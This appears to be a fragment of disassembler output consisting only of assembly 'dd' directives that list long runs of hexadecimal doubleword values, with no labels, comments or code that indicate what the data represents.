dd 4E0F1024h, 94DDE507h, 38218B54h, 1032239Fh, 900E24E2h
dd 4444A720h, 0D80D6108h, 22FFB820h, 0DE4668FDh, 0F49C002h
dd 0A09CB343h, 49C80700h, 293EA254h, 6871015Dh, 88C30A6Bh
dd 92F1833Fh, 7EF2E0DFh, 0B8777F60h, 15210994h, 4445F3F7h
dd 8E600CE4h, 2200FC30h, 7CBBC20Eh, 9240889Bh, 0EC055CF4h
dd 8C4CE8h, 0B08DD6D1h, 669E4210h, 80D79317h, 41A75A00h
dd 0ADDEC5Ah, 0A67264D1h, 80D81194h, 430D49C2h, 36448CC3h
dd 49CA0309h, 796E3D5Fh, 0F045D580h, 4877AA26h, 0C0890EC0h
dd 223E4693h, 17CE0020h, 3DA8F489h, 98006A37h, 74A48E7Dh
dd 259A94Ch, 0F2CEDC20h, 80C53C62h, 706057E4h, 7FF214F2h
dd 3C301378h, 0E9FE790Fh, 58980292h, 0F0FB2E23h, 70584453h
dd 0BF430952h, 64001C3Ch, 344B9F26h, 33972280h, 0C2181304h
dd 9E2D7B3h, 74B4BC88h, 0D003246h, 0D1FAFF85h, 9F2490BEh
dd 4C8F4456h, 7A93041Bh, 0AAA058D2h, 171F4580h, 72461CBh
dd 92306408h, 0C6CB4F97h, 61C382A0h, 0B910C500h, 0C17A9C2Eh
dd 4BBF5CA0h, 0F3505332h, 0C500E8B7h, 6ABBD2A1h, 0BA870145h
dd 0B8DE112Ch, 0D043406h, 0DC795CB3h, 6207A6F0h, 9716D1EFh
dd 0B002788Bh, 90080A4Ch, 9F1FC30Bh, 80521174h, 1428BF46h
dd 4B18004Ch, 98FABC4Eh, 28F393E1h, 8C32BC48h, 4257EC01h
dd 0E5432C08h, 0A2857881h, 883B2231h, 4C43FB0h, 0D114BCDCh
dd 0F5A6248Ch, 3022002Dh, 0B0441A16h, 8474040h, 0EA604E44h
dd 0DF02AE6Ch, 0AD0DD80h, 30594179h, 3D8C80E7h, 5DB4FCBFh
dd 0AC4EB4B0h, 40A07F7Bh, 0E24391B9h, 10ACB44Dh, 0CF0151F6h
dd 6C641863h, 3821A699h, 113836A9h, 890C8079h, 8C0E93C2h
dd 15C810EDh, 91A1D89h, 0B36E094Fh, 4B3A5801h, 77B42D82h
dd 92E15400h, 1C4838E3h, 3079038Ah, 0A783C11h, 6C1E7FF8h
dd 15E08213h, 0EF00C85Dh, 0ADAF2F5Fh, 9124003Ch, 95A1D5A3h
dd 0E814D3E6h, 2F8786Fh, 30D6120Dh, 0C504C3F7h, 0C0188C27h
dd 23E15A71h, 0E0546E4Ch, 55A7964h, 926510ACh, 88C01052h
dd 0CEC745Ch, 0DFFF008Ch, 582FC710h, 1812EF91h, 0BC3268F8h
dd 890F3074h, 3693C111h
dd 0CF801F88h, 0B3458910h, 3A849067h, 130CFC0Dh, 9EC1596Dh
dd 1C00867Fh, 85C10937h, 5FA8DABh, 690C2EAEh, 0C4D21115h
dd 4344112h, 0B61B0810h, 0B831E0B4h, 0E77E1DBDh, 88BC0215h
dd 1C475513h, 0B36020C4h, 0BFC012Ch, 115E8800h, 31AA65A4h
dd 918001Bh, 4F60554Bh, 90160EEDh, 0F82124F7h, 2C33209Ch
dd 0DD304EA2h, 409701BEh, 8765D9C9h, 3648C8FCh, 62022109h
dd 1D6CABA8h, 81021120h, 4D8ACAEh, 5323BFCh, 0F7684320h
dd 72900245h, 2471CB5Fh, 47184CD9h, 0FABB8200h, 0C7CD4A4Dh
dd 0EC225215h, 0EACA9700h, 0A9A3D11h, 59E3B0A8h, 0C049424Bh
dd 3278C83Fh, 4BA35CE4h, 54946900h, 5C97154Bh, 3C302003h
dd 140BE17Dh, 0ECAB9BB8h, 0DFB80892h, 849C1C0h, 80AB4343h
dd 0EA49C904h, 4ED801A3h, 392646Fh, 0E84C383Ch, 90588C0Bh
dd 2983139Ch, 261CE491h, 0D8F05006h, 0E80808D4h, 120C8C56h
dd 7110E0C9h, 0FA100F0h, 62BBEDADh, 6E01B453h, 55A1C2Fh
dd 207484D7h, 0D1109189h, 381803h, 77DD6D67h, 5D9CB89Eh
dd 0AB8D1618h, 9841B291h, 61EA2718h, 36115017h, 5CCF658Bh
dd 44584847h, 20426B0Bh, 939AA411h, 51A96C02h, 5CDA83h
dd 95DF1D72h, 6DE22438h, 8C159600h, 8F908BDDh, 0B03D68DBh
dd 9502DEE8h, 0BF80BEC8h, 0C8EA5Dh, 8760A10h, 0ECFAE02Fh
dd 0AF353986h, 8BA28080h, 0DF9BC1FBh, 7D7EB11Fh, 0C4C05016h
dd 0C1B9AC2h, 0AA8A1675h, 713E0C49h, 0F86848D7h, 9A008C0Dh
dd 5BC73C32h, 74A233B8h, 482E4247h, 8C56E810h, 79556409h
dd 188F859Ch, 3D08A000h, 80A90C92h, 3424CF90h, 0BF016001h
dd 0E4665198h, 22B2DC33h, 693630h, 0F584B05h, 2BBC47AAh
dd 4A9AC0C4h, 35A2B0A3h, 1CAE8930h, 821A95BEh, 26A6938Bh
dd 0B79ACD9h, 38D64E18h, 5723D03Ah, 0B5441938h, 58228240h
dd 0E5EC3300h, 1534A6Bh, 7BD8F107h, 2650DC20h, 992C7F9Fh
dd 20E8124Ch, 0AF2A9784h, 0AC183867h, 268EF0DAh, 7C91005Bh
dd 4A8F2411h, 9F981D6Ch, 71699814h, 32782560h, 0D813F728h
dd 0CA3CBA3Ah, 0A800C452h, 0C76223B9h, 193D1EDAh, 0A2450278h
dd 4C49C202h, 6D7C48CEh, 23E55A08h, 4050C44Eh, 655A7560h
dd 30D10EFFh, 1D6CEF93h, 0C7096A78h, 0C240D791h, 4BE440E4h
dd 8823090Bh, 3CE05A3Fh, 3C2FB4A9h, 4FFC221Eh, 0B9820119h
dd 0E20310h, 8BC0CAD9h, 6CDBF4BFh, 1FE3A718h, 758AB19h
dd 0F0E9754Fh, 0F0C01B39h, 961D24C0h, 6F97AC27h, 0AB60A005h
dd 31D550E0h, 0B8F86A0Ah, 9991D061h, 509D6816h, 291B6002h
dd 84B703h, 0E38AAA54h, 1450A9EEh, 9337BB5Ch, 6DC92947h
dd 21B5C040h, 0F324ABFAh, 284058E0h, 137E57Fh, 71877ADBh
dd 0ECB9FBF5h, 1BB0919Ah, 25DA1D00h, 139F9CD1h, 0A8ACA031h
dd 29FC2844h, 47FA08B8h, 30A3A5Fh, 930184CDh, 527768CAh
dd 1FEC2038h, 87A60F8Ch, 4C73D21h, 2C5802Bh, 78902A2Dh
dd 3133CF20h, 3DE1D582h, 8343391h, 1909ECEFh, 0F264119Ah
dd 93B7E400h, 214460CFh, 0EE39B4E6h, 2EC545Dh, 2415C40Eh
dd 662C8080h, 4F945902h, 0B1C4205Fh, 451D64BEh, 30814CD5h
dd 0EF1BE3EAh, 62E9F0h, 0FBFCD2DCh, 2A48E131h, 1F40B401h
dd 4B9B91E8h, 0A48396E0h, 6568A0DCh, 8442FDDh, 72C70C81h
dd 3F698B54h, 58150011h, 1D4EF89Eh, 81A0D1CFh, 0EC157632h
dd 0E0CA30CEh, 0A468B200h, 7E82284Dh, 8A24061Dh, 495D721Eh
dd 8851E300h, 0D7FD1847h, 0BFAE0222h, 0CBEA89E6h, 1FAF9840h
dd 2EFA6C80h, 41FC8816h, 251B4058h, 0F8744014h, 0C6593C21h
dd 0DE3A0544h, 0A4031F54h, 0BA79A464h, 0EB94E0C0h, 410780C7h
dd 8B892107h, 494416C8h, 9010D4E2h, 0AF9A141Ch, 40097518h
dd 1571F88h, 0CB29141Ch, 3CD79451h, 96022C29h, 6F54E1F7h
dd 0D16EF467h, 54D59080h, 7007D8Bh, 4351C9F8h, 91455368h
dd 3A4B0058h, 0EF5797Bh, 90D70413h, 9F3D4844h, 0E0DF3488h
dd 47DC078Dh, 0C95D930Dh, 0B3D0C453h, 0E9B90A97h, 129896E4h
dd 80549BCFh, 3B7B665Fh, 6D216E7h, 23402F3Ch, 0D5A00053h
dd 95E0338Ch, 31283402h, 648040E9h, 9B300CB8h, 0A67917E3h
dd 5C022E03h, 0D070B316h, 0EAC61BF6h, 493700BEh, 75B7C2E7h
dd 88C05488h, 0A6739AFAh, 8B2B4B57h, 0EE3DDFCh, 4100E92Ah
dd 8CE0B2Fh, 3FCC40E3h, 18BC0A9Fh, 0C4676h, 29CC1950h
dd 2ECD69Ah, 9F92CEDDh, 4C423E83h, 4D79E859h, 0F83ED019h
dd 0CF325800h, 826F42DCh, 449238h, 45473F8Ah, 18DAE8A8h
dd 0DE684600h, 0FF528D53h, 0B9030002h, 0C6F87E41h, 1EFEDF91h
dd 927AE8C0h, 3433DD48h, 0C4084A1Ah, 3AC81E88h, 0B2CF1065h
dd 0C068F7C0h, 7CDD945Fh, 9A309C07h, 58B1AA5Ch, 94541948h
dd 32AB1481h, 0AC1C8105h, 14270017h, 205A4525h, 0DE147D04h
dd 5FC86FD4h, 2023503Bh, 31F67507h, 0E96AD0E0h, 15C70CC3h
dd 3D69C926h, 786E38h, 0BE40F92h, 48C890BFh, 7A8AE01Eh
dd 0CF504C38h, 16669325h, 1AC50028h, 0B073FD89h, 0DE7C6359h
dd 4B62E813h, 3A171F01h, 5C6C8CD6h, 0DF604906h, 9090684Dh
dd 691A4634h, 8FE0C8A6h, 0E100B529h, 0B3F917FFh, 4A479C15h
dd 74A0020Bh, 4D87C8Fh, 17209A7Ch, 3DAA0931h, 48206B9Bh
dd 0CE8F792h, 80850ACh, 838F4458h, 263B4792h, 9C994079h
dd 7C1834D1h, 0F0FEC62Ch, 6397651Ch, 52C8C88Bh, 70FD65C0h
dd 0FC6205E0h, 0CE0E444Bh, 0C0578894h, 0FC6748D4h, 1AD74718h
dd 584A58D8h, 8B805818h, 1071FBE5h, 9B3AE20Bh, 455C2923h
dd 6021E438h, 11ACB96h, 93795A50h, 6273E8A2h, 845B00D4h
dd 40AEC907h, 0CA8C0E2h, 899FA97Fh, 0B90294FEh, 4F8F926Ah
dd 13271126h, 21C3E1EAh, 0E3D9188Ah, 16053860h, 0F0D8E9EBh
dd 0DA18C6D0h, 0C39C483h, 72920095h, 0CF9197BBh, 2CBE1B8Ch
dd 60E4084h, 340191C0h, 846E00E1h, 2DBDD57Bh, 7230F43Dh
dd 0EC7B9A2h, 0AC47CE2h, 0E99D9951h, 0A14A03BAh, 2BE8CD6Dh
dd 731CFBC6h, 440011E7h, 0F15B4F90h, 0ECB412A9h, 4DCA012h
dd 99C58330h, 0FF428DCh, 93B00745h, 6F62AF42h, 4674C054h
dd 29150537h, 0BCC88F16h, 0D0AF18AAh, 0A93C7814h, 0F830AB4Ch
dd 1C0E8C1Fh, 0D5E095B0h, 0DF037FB8h, 0CFE8F36Bh, 6D899899h
dd 0AB40173Bh, 88D001F1h, 2EC48741h, 0E23682Fh, 1680401Dh
dd 5F60BE8Dh, 20A2954Eh, 8502FDDCh, 3C74FA27h, 0B2032BEFh
dd 8C94DDE4h, 0BC167900h, 398BEB3h, 0E540C3AAh, 93E8F1DCh
dd 602D41A0h, 90848083h, 9DFB2F27h, 30919C1Dh, 0B867E68Fh
dd 8EA007B3h, 0B4AFA5C1h, 0EBC4416h, 0FA6160ACh, 20377FA7h
dd 8D2E195Ch, 200B6374h, 239A029Ch, 12945A68h, 41B4F704h
dd 97167A04h, 81E85251h, 6C7788C4h, 843ED800h, 666065BDh
dd 7DA80001h, 8AC1E81Dh, 0E100C2ACh, 869E1202h, 16278A7h
dd 0FBF87C52h, 0D0162BE5h, 691C264Dh, 9100DC18h, 0BF097FA0h
dd 0EDA71F98h, 0DDD801E4h, 3D17F8ACh, 781A0FACh, 0B48893D7h
dd 0A25C03B9h, 158C3828h, 0D2BDC3F8h, 189C0D48h, 0E00814DAh
dd 0CF700812h, 603E7A15h, 73A1648h, 202D6541h, 88E0CEBAh
dd 0D473C00Ch, 2D24C9ABh, 2C08EC9Bh, 2241011Ch, 2810D705h
dd 882F5AB8h, 6F128C76h, 0EA006177h, 0FED108F1h, 30434C41h
dd 0CC4CD17h, 8561D4A8h, 0D3249858h, 0AC3AE453h, 0B20B1E23h
dd 80188138h, 7F088741h
dd 5E6C5C8Ah, 9E003246h, 0AF15C584h, 3813364Bh, 8C8F0B82h
dd 0FCC02F88h, 8F7A6Bh, 43DEDA30h, 3AD70B28h, 273B5D01h
dd 64CB5BC9h, 261A6E60h, 1D3C1BDBh, 0A5A41ED3h, 713E6820h
dd 0F7007A70h, 0BBCA5A0Eh, 8BAA1Bh, 6791A3Fh, 66A90B14h
dd 110008E8h, 360E3C49h, 662132E5h, 21412919h, 22111880h
dd 0F2B949DFh, 80E3243Bh, 27DE81FEh, 148EA90h, 95879C4Eh
dd 3B2015E1h, 64E31849h, 7F9B000Ch, 0A04D8CF0h, 0D60109D7h
dd 5114A780h, 78DCADECh, 308E5DFCh, 983DA480h, 0DF88A6A9h
dd 52094210h, 108059A8h, 923F0E97h, 5460ABA5h, 0F8AA94A8h
dd 8D160F9h, 2200D718h, 889A818Bh, 0E8CD33B0h, 0F0505D37h
dd 231C2E4Ah, 44360721h, 116F8150h, 93DB20B7h, 174984E6h
dd 638009B0h, 0F7A0A259h, 0E45CC7B8h, 82AD6036h, 5A0A7819h
dd 0C4709BCBh, 58C140ACh, 81040AB8h, 103C8354h, 0FA4CD537h
dd 3AB973DDh, 428B2001h, 64822857h, 745E2676h, 3B188C40h
dd 0AD897869h, 600D64CCh, 0F09EBD7Ch, 2AD13857h, 0EA368180h
dd 6292C8AAh, 54200CB8h, 90160831h, 2216CAA0h, 9202FCA2h
dd 388EDBBFh, 7C33DCD8h, 8A8F190Eh, 7660D63Bh, 0AA025646h
dd 4E994357h, 958AF4E8h, 0A828693Ch, 8B22F066h, 0D2D74CA0h
dd 0D2FC40h, 0F8751A4h, 88242268h, 582F1B5Ah, 6A131923h
dd 9CD3A401h, 0D0334ADAh, 383031A2h, 3CA0A47h, 980AB5Dh
dd 0AC087115h, 48C2090h, 54C244DEh, 0BC0CB987h, 7C50216h
dd 73793048h, 0E689D090h, 4602AFE6h, 0F28C9CE4h, 76787CCBh
dd 41385146h, 0A54AC60Bh, 0D8D0AC1Bh, 0F5732B4Fh, 0DC7C6E00h
dd 0D52924AFh, 3CE103E8h, 0A48516CAh, 61F44919h, 58115E10h
dd 44439BDh, 244B4792h, 2B4B34CEh, 8C70FCh, 6AB276Bh, 971AC1D0h
dd 937A6372h, 4878BF4Dh, 5673103Ch, 28C1DF8h, 30B73479h
dd 0C8D2736Ch, 0DCF2E100h, 0FF689C21h, 0AEA91D20h, 751AC0D1h
dd 6AAC91B9h, 8CDB895Bh, 6F1AE980h, 0A098B9E8h, 0C01EAB2Eh
dd 683FAC13h, 32013323h, 7288EF09h, 57A7B49Ch, 6438D236h
dd 417CD029h, 881C4E1Fh, 907AC04Ch, 530050C3h, 0D8853BA4h
dd 16B29AE9h, 46D51E3h, 0CA2350h, 0C19B3DA9h, 0F14CB9AAh
dd 1D1823h, 3118AD6Fh, 0B97BCBDFh, 9AA94112h, 92646081h
dd 90E80AC9h, 44A34A7Fh, 870E9BACh, 0BF26210Ch, 6E6431CFh
dd 2C04B86Fh, 5074B722h, 0C65710A0h, 3027F015h, 0C8B4CA92h
dd 3625C04Eh, 100777B6h, 319B166Fh, 0C3D4624Bh, 0AF49A00Fh
dd 0D61B266Ah, 10CC08DCh, 8D701C28h, 0EF880609h, 0D02462FCh
dd 61396BE0h, 9EC06CEDh, 2F9C5137h, 1880538Fh, 25E844DCh
dd 0AC3A8B4Bh, 0F000823h, 0BEF3454Dh, 0E725124Eh, 0C0549BCBh
dd 8529105Ch, 4A4D7AC1h, 0E37C85D3h, 0D89A5AB8h, 68207E8Eh
dd 3C5A1136h, 0CAB5F704h, 232FF026h, 0D1B20021h, 0BFF2F8EAh
dd 81D8FB00h, 92F1F015h, 9A3C4B4Bh, 4C0FC154h, 50DC5E4Bh
dd 96133F9Bh, 0F811BB1Ah, 37E4CCE5h, 3056B961h, 0C7409B10h
dd 0E47B4CD9h, 1416A222h, 0CD1933Dh, 6E2FDAE4h, 0E0DD1734h
dd 7190A4h, 0A34856BBh, 0B55F1086h, 3D8FCB01h, 61F68BD7h
dd 68B70823h, 0DA1839C0h, 31D9006Fh, 5E1304C9h, 68244723h
dd 0E04A5821h, 2B3C08h, 76248F90h, 235C0F39h, 0A7471204h
dd 8AC28887h, 8044B518h, 5C8C3FD6h, 0FA0F7778h, 84BCD77Ch
dd 50B82D41h, 738FF40Bh, 35F30D0h, 0F88588Eh, 0D5E7BC0h
dd 16A012EAh, 9E34F58Fh, 0EF6528E0h, 0E33BC20Ch, 0C67B2A40h
dd 0F768BE09h, 8DC587Eh, 0DA08F7Dh, 9F646625h, 0C6BB2C17h
dd 41780D02h, 1458A360h, 20EE381Eh, 0A1CF7CF7h, 804BDF97h
dd 231C3B2Ah, 0A39E0237h, 0ACF95B26h, 34185279h, 56D6D200h
dd 80C16235h, 5C09BF6Bh, 2E8CB409h, 1618CBA8h, 7A39118Eh
dd 3BCC2A97h, 0B80858C0h, 30EB810h, 0F1DDECD7h, 0F445C29Ch
dd 34465E64h, 2D77EA0Fh, 9AE0D707h, 0EB608994h, 0E54EBCD8h
dd 397A9888h, 9EBC33ACh, 1BD3D92h, 0AF45927Ch, 0C4802584h
dd 92FD8673h, 0DCA48130h, 77A41C6Fh, 28CA4DEh, 0F0419558h
dd 465C407Eh, 45CC0020h, 2C508D5Dh, 237F12B8h, 0FCCE197h
dd 0C03188E8h, 3EB6549Ah, 907F6000h, 3FF02329h, 0BA79C318h
dd 0D6B080B3h, 0AF03B761h, 0DF7FBBF5h, 31E9B890h, 82354F8Ah
dd 0EC41092Ch, 6F9D1019h, 701E008Bh, 5A79B458h, 3C039AD2h
dd 10E6EA0Bh, 6687E0BDh, 0A6DC0096h, 0C623E5C5h, 1099F0FBh
dd 28181979h, 0F8E304B0h, 0CFEC090h, 1CCCE94Bh, 1A8B48C7h
dd 4255BE01h, 0C0E4CE6Ah, 0C201544Bh, 0EEC468BCh, 30AF2723h
dd 0F91A09Dh, 78643D80h, 0D5099E8Eh, 24FCD793h, 0C8BC6D68h
dd 1A14C420h, 734C16E3h, 37542700h, 0E44DF3CDh, 110F4BBh
dd 6D3E684Ah, 3E438F26h, 0B0A2B817h, 99D60073h, 64C92DAAh
dd 4D0FB5BCh, 0CE15EDFEh, 4D614BF0h, 4AA06028h, 3D48B502h
dd 527F1080h, 38CF9009h, 68CD8C22h, 0C4E7AAC3h, 47F4B0EFh
dd 0A874A09Dh, 0BC2280B4h, 0AA38084Ch, 0C703B510h, 1EE213DCh
dd 0D021F901h, 0F23D9A76h, 0C46CD0h, 0A45B80E1h, 70867C59h
dd 58850E02h, 0DC3B47FAh, 6B6D01D4h, 25A78816h, 5F94FCACh
dd 0ED0E0098h, 12265A4h, 0C5F31CB9h, 5C4E4B10h, 5A6438h
dd 6265EB90h, 68B2419h, 0BF220E3Fh, 0B902B1A4h, 6040847Dh
dd 322CF037h, 8A70E130h, 8F06E071h, 20E12644h, 2500A914h
dd 0CC06550Ah, 67D058h, 8357E7FCh, 926B2AE8h, 2FD25B48h
dd 0D9D829BCh, 0B0489604h, 985B4198h, 59DB34D0h, 94195446h
dd 394903A4h, 0DF6F211h, 0DC9867B3h, 1E4E68ACh, 49AAF4D2h
dd 82F6DC0h, 5C83515Ch, 428B08Fh, 73479228h, 67249234h
dd 1308F428h, 0BCDF845Ch, 66640004h, 1D469E92h, 9580B44h
dd 0C4540AD2h, 0A2322AC1h, 0D1F0FCh, 92634DDCh, 4B977846h
dd 0B90A50D3h, 5D04FCEDh, 74BC44B7h, 0D073C112h, 2D101F00h
dd 18D6DE03h, 0D85862D4h, 0E2B8541h, 36E73183h, 23EBC13Fh
dd 8420F0B7h, 2813A7C9h, 0BF80CB48h, 0E48CEC68h, 5E34B418h
dd 0D5072246h, 98FFBCCh, 0A704DCD8h, 9B3AD259h, 0E4CEA8E8h
dd 88CD0510h, 0B8AC5C43h, 18C1FECh, 64361638h, 0FC0D69A4h
dd 5F659D6Ch, 0F0F97220h, 9C1E3507h, 4C360091h, 14001988h
dd 20AE6B9Ah, 0C47CFF60h, 0B83C0180h, 8C4CB8CCh, 0CF8B7F01h
dd 28A018EBh, 0E930ECh, 0BE7DA465h, 3C58F26Ch, 8090B5B5h
dd 0EF12C550h, 4403A08Ch, 6B858BEBh, 3D38C8B0h, 0FF651C66h
dd 5BD316h, 83895750h, 7E4FA8C7h, 53C8988Bh, 1A8D85C0h
dd 471D1378h, 23DC3ABBh, 0FD38000Dh, 6BB30393h, 4111F201h
dd 425FE12Ch, 21169422h, 63988991h, 3033A234h, 0F17E366h
dd 1B0257F1h, 40356747h, 98BEAD64h, 8EA14B4Fh, 0C320C8DCh
dd 3098E964h, 9326DA07h, 0EB08CCA4h, 4119013Eh, 61529165h
dd 7408BC17h, 1929C0ABh, 9D19C72h, 76026118h, 988FABF1h
dd 7634641Fh, 909C972Fh, 56AC299Fh, 3100DC64h, 0DDB0F4CDh
dd 801960ACh, 84A90A6Fh, 0E5603001h, 1384D63Eh, 0DC209116h
dd 43AED2Ah, 260496EFh, 0E05CA66Bh, 0F03042EBh, 3D1800A1h
dd 8F25636Eh, 70A821C8h, 9E841BD0h, 34465630h, 0C0F60100h
dd 274EF89h, 1ABC8494h, 0DC28C7BCh, 7C00DCB4h, 0F7CCD158h
dd 39204B7Dh, 17735341h, 0DC61858Ah, 87459978h, 0BC7D7821h
dd 0E4456A25h
dd 4F9D11EEh, 0C0DD7512h, 0F9188386h, 0A360721Ch, 386CF2A1h
dd 0AE1E1FEFh, 642EC94Dh, 9C9EA878h, 53465Ch, 0ADD82983h
dd 0CB2A977h, 2E8B9FFCh, 0ED00DCD8h, 4BA66BA7h, 465053Eh
dd 0CF91A9AEh, 0C070F018h, 25155C04h, 3BAE245Bh, 5362388h
dd 9C913ADFh, 0C9801D18h, 43BF2580h, 88F24CCEh, 18A93F30h
dd 40A32638h, 6CCCBFDh, 0F832185Fh, 0BAFA40D3h, 98AC6602h
dd 5ED50E17h, 0C25F4F84h, 97B019BCh, 0E67098DBh, 0CC932013h
dd 1D87E513h, 7AE24409h, 33BD3DC4h, 8A5BEA00h, 0F2C619B9h
dd 2B264B05h, 0C8F58258h, 0D2FA60h, 40E586ADh, 0CE852A76h
dd 16BB3002h, 5DCA5B97h, 9BF19CB0h, 5EEFEA01h, 826BDDC1h
dd 9DBD8h, 450EA46Dh, 7E3046ECh, 0C7144D95h, 1FDE184h
dd 0C8422107h, 923FFE93h, 10E0D8E7h, 0E692A2C3h, 15B7A09Ch
dd 608E09CDh, 685C9503h, 0D954092Dh, 1851D194h, 0FDF40169h
dd 2F838B18h, 0E7943325h, 0C961C068h, 0AB0008C7h, 0E8157C6Eh
dd 1264663Ah, 0EC34B77Bh, 0B1D78C6Ch, 78AC18DCh, 0A5E1815h
dd 48744CA2h, 151465Eh, 947CC432h, 582D836Fh, 0DC12B500h
dd 0EFC53E86h, 0B24CA50Eh, 46A7002Bh, 0BCB0F791h, 5CE16CCh
dd 0B4376320h, 0A252C8Ch, 0E0D44D8Bh, 2321A55Ch, 5EC0439h
dd 0DB60C915h, 2848ACA8h, 912CC409h, 952714D3h, 803791C4h
dd 0CC9C3426h, 786CB3A6h, 1607D29Ch, 528AD0C6h, 0D76F31F0h
dd 90215F15h, 9C8C952Ch, 0A8DA3C5Fh, 0CD083DC2h, 53B1EC40h
dd 0C020D74Ah, 0B64B7Eh, 43B87C8Ah, 2E6F65D1h, 1401827Bh
dd 1B495B53h, 243A055Dh, 0EC6EBB5Ch, 9CE6A801h, 3ABF9Fh
dd 524B07h, 9B63C690h, 92DA4725h, 0B4003BE1h, 16D38681h
dd 70824CE5h, 0F4216C80h, 44F81D90h, 3C6AB408h, 4EC1801Ah
dd 0E3E57451h, 7059DF03h, 0B89B5878h, 7B2BFE8Ah, 95444AEBh
dd 90D41690h, 88D07CCh, 64193000h, 40886A62h, 0B429581Bh
dd 0E8C53E8h, 5633D474h, 0E229D104h, 47540010h, 0FE34A607h
dd 36E40776h, 1B5651E5h, 3B60C482h, 4138476h, 35A26CA6h
dd 6ED9F033h, 68AE25E3h, 5A7044FBh, 0AC590701h, 0F055251Dh
dd 0E971A465h, 97FC621Ch, 2E805865h, 487C44E0h, 39620030h
dd 45B39568h, 2A4B2709h, 4478D111h, 242E357Dh, 0E2003023h
dd 0AE35DA8Ch, 3BAD0540h, 882420DEh, 4D40F3B0h, 0CA712E72h
dd 55467C98h, 521AD31Ch, 6300013h, 0E3EA0A14h, 65351709h
dd 1DCC873Bh, 0D3DDEE4Fh, 0E90144A2h, 14C67ADAh, 243BC405h
dd 9824A3Ah, 75BCEF7h, 0C942E9E4h, 6785ACFh, 0D72EBD6Dh
dd 0FF34284Bh, 180620EEh, 3A4932CFh, 8C4EA535h, 412EAAB0h
dd 0A4096067h, 0D970F1F6h, 1891833h, 10A79F1Ch, 0D545B9FEh
dd 80283A15h, 72A0A90Eh, 0A100E062h, 89605AF9h, 103CCFD5h
dd 12945017h, 186B1109h, 4290D120h, 9D5F0944h, 80039188h
dd 73B2DB3Fh, 52280BD2h, 1402E73Eh, 805C35B7h, 4054ED5Ah
dd 0E7189069h, 6DB2B03h, 0E11B1123h, 0A900C083h, 4E0035F3h
dd 0B5DC193Ah, 0F8C2CBDAh, 0E1C25D7h, 31D964F9h, 0B500E818h
dd 6D915DC9h, 4EDDCBB2h, 4E0C8DD3h, 0C1578860h, 414EF4E4h
dd 3DF390h, 0DF129h, 27CBA04Ch, 998DA90Ah, 30F0980Bh, 1AC5089h
dd 4114DAD7h, 0C57A1546h, 8724D1D5h, 0F43DA959h, 363739E0h
dd 720C07D7h, 0A2D0E2CDh, 0AC5C052Ch, 0FEAC5049h, 8E241FCEh
dd 0CA9EDABh, 237F887Ah, 120C0284h, 0BC5CAA3Dh, 66032CD1h
dd 0C06524ECh, 0FE437AC1h, 8C6D560Eh, 903056E2h, 98411610h
dd 0AE60C467h, 1E23002Fh, 22386101h, 457EE8AFh, 0A0E68CB4h
dd 85272944h, 0A8149B23h, 91A6489Ah, 60B4D310h, 1CA7971h
dd 78922CB5h, 0CD1B4A90h, 0C4022ECBh, 5A68DE3Ah, 2AD72724h
dd 6D978C4Eh, 664943BCh, 69648180h, 92209318h, 2F604391h
dd 8274E7Fh, 0CE3DB85Ch, 1D88ECCEh, 938F53C3h, 2089AC9Ch
dd 30EC6078h, 2F3C008Ch, 91A19BE6h, 51E97342h, 6040E2FCh
dd 0D02F06C6h, 1DF09AA8h, 803511C8h, 8E96189Ch, 4C8D1359h
dd 7A908893h, 43988197h, 30252798h, 0DA38752Fh, 0FBE8842Ch
dd 0ADC028E8h, 0AA936046h, 0FABC90B7h, 0F889820Ah, 8AD77868h
dd 5C9BDC0Eh, 18ACD327h, 663F6180h, 8F7531E5h, 85459A00h
dd 8CCE0B89h, 0B9F0BC27h, 0A49DEDADh, 1D811991h, 0DB38F632h
dd 1F885109h, 3BB81FA5h, 649C0746h, 0B600EBEDh, 4CC5D22Ah
dd 2EA5F80Eh, 0F0B2374h, 0EFEA24B3h, 0AF428298h, 0C0561108h
dd 7CC01388h, 5C035746h, 163F08DAh, 5E1AC90Eh, 0F971C0BCh
dd 0F1ACED29h, 0FC93DCE4h, 102995ABh, 989FBC87h, 9B3D843Dh
dd 0EF00AAC3h, 0CCB7FD2Bh, 1499DD4Eh, 239C7C0Ah, 0F385BA00h
dd 6BCB63Eh, 1AA56104h, 0FA1F684Fh, 0F06E2747h, 0F162C42h
dd 88C04B51h, 1F738F65h, 2726D99Dh, 4E91D497h, 7B725280h
dd 5D72B1A4h, 5FCF9A0Bh, 407AE2h, 7C8EC6A2h, 45D90F5Bh
dd 209CF100h, 0A5A31D06h, 985ED88Fh, 0EB2591C2h, 11941761h
dd 6E788034h, 6083EA48h, 319819C3h, 0AC014BDAh, 0BE8424FBh
dd 6E9F80h, 44DFEADCh, 70B61494h, 9E0CB9Eh, 0DA4CBED9h
dd 657380E4h, 2D3B4B01h, 5A17ED94h, 14B496CCh, 989AC610h
dd 18C52E8h, 88ABCD50h, 7A602231h, 1923DC3Ah, 0ADC2A00h
dd 954B8043h, 0E9EF3400h, 0EA720985h, 28933D28h, 5B4899F4h
dd 0E89B4E30h, 98DC9C89h, 90012210h, 3964948Fh, 0BC283C0Fh
dd 6D178C56h, 0B4F5E0FAh, 5401FCh, 0EE41DD8Dh, 373F677Ah
dd 78B2A00h, 8666041Ah, 0DB8F0B9Ah, 843DEA89h, 13CB6400h
dd 1F2CD5Ah, 97D25DB9h, 0C7A0EDDCh, 0D77137D0h, 2C4290B8h
dd 2849A425h, 93884872h, 0B0599F09h, 0EF298071h, 1E37F6h
dd 679B4B09h, 0A2ACF14Dh, 35BD0C90h, 382286FCh, 0AC87E03Bh
dd 19605244h, 79019563h, 80411AEDh, 8D2FA6D7h, 0AC282834h
dd 10148C34h, 228C95EDh, 0A4641CC7h, 0A7739355h, 0A758426Ch
dd 5C43C078h, 0FA1DE9CFh, 0E2817917h, 0A7803E81h, 9D966824h
dd 33116C35h, 958B7880h, 0BD13CCABh, 0BC015B26h, 45EDC01h
dd 40F3D030h, 3D11AACBh, 1401E298h, 8BDD3E8h, 3C402E82h
dd 0D45B3C6Dh, 0DA620E78h, 0CE82FCEDh, 30794379h, 73184DD9h
dd 3DD27200h, 0AE2CF46Ah, 2CB490F1h, 425C3B74h, 82033783h
dd 0BE8902C1h, 1B464C0Eh, 1E1C140h, 3FFC73FAh, 2050169Dh
dd 140B648Eh, 78576041h, 94019704h, 206C9742h, 4FB7B14h
dd 400830AFh, 8DE09A23h, 191C2107h, 89D1B97Bh, 0EFD0976Ah
